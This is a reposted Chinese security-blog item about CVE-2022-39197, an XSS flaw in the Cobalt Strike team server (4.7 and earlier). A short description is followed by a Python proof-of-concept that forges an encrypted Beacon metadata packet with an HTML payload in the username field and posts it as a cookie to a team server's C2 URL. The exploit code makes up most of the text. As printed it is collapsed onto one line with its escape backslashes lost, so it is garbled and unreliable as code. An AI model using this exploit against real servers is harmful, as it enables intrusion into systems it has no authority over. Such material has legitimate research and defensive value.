CVE-2022-39197 Cobalt Strike <= 4.7 RCE

admin 2022年10月1日10:11:01安全漏洞评论76 views1784字阅读5分56秒阅读模式


        Cobalt Strike 到 4.7 中发现了一个 XSS(跨站点脚本)漏洞,允许远程攻击者在 Cobalt Strike 团队服务器上执行 HTML。要利用此漏洞,必须首先检查 Cobalt Strike 有效负载,然后修改有效负载中的用户名字段(或使用提取的信息创建一个新有效负载,然后将该用户名字段修改为格式错误)。

POC

#!/usr/bin/env python# coding=utf-8import hexdumpimport rsaimport randomimport base64import stringimport urllib.request
#pack = b'x00x00xBExEF' # pack head#pack += b'x00x00x00x4C' # pack lenpack = bytearray(random.getrandbits(4) for _ in range(16)) # AESKEYpack += b'xa8x03' # name charset (int) (little)pack += b'xa8x03' # name charset (int) (little)# pack+=b'x00x00x00x06' # Beacon Id randompack += random.randint(0 , 9999999) .to_bytes(4, 'big') # Beacon Idpack += random.randint(0 , 65535) .to_bytes(4, 'big') # Beacon Pidpack += b'x00x00' # Beacon Portpack += b'x04' # Beacon Flag 04pack += b'x06'pack += b'x02'pack += b'x23xf0x00x00x00x00' # windows version (int)pack += b'x76x91' # windows version_1 (int)pack += b'x0ax60x76x90xf5x50'pack += bytearray(random.getrandbits(4) for _ in range(4)) # Beacon Ippack += b'x4bx4b'+b'x09'+b'<html><img src=http://127.0.0.1/1.jpg>'+b'x09'+b'x61' # PAYLOAD LOAD A IMAGE *NEED-EDITpack = b'x00x00xBExEF'+len(pack).to_bytes(4, 'big')+packurl = 'http://192.168.234.100/pixel.gif' # C2 Server metadata post url (CobaltStrikeParser C2Server) *NEED-EDITpubkey = rsa.PublicKey.load_pkcs1_openssl_pem("""-----BEGIN PUBLIC KEY-----MIGfXXXXXXXXXXXXXXXX==-----END PUBLIC KEY-----""")# use the CobaltStrikeParser extract public key from the payload https://github.com/Sentinel-One/CobaltStrikeParser parse_beacon_config.py payload_url --json#Remember to remove the extra padding from the public key *NEED-EDITenpack = rsa.encrypt(pack, pubkey)header = {'Cookie': base64.b64encode(enpack).decode('utf-8')}request = urllib.request.Request(url, headers=header)reponse = urllib.request.urlopen(request).read()#print('base64:', base64.b64encode(enpack).decode('utf-8'))#print(hexdump.hexdump(pack))Footer




原文始发于微信公众号(Khan安全攻防实验室):CVE-2022-39197 Cobalt Strike <= 4.7 RCE

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月1日10:11:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  CVE-2022-39197 Cobalt Strike <= 4.7 RCE http://cn-sec.com/archives/1318322.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: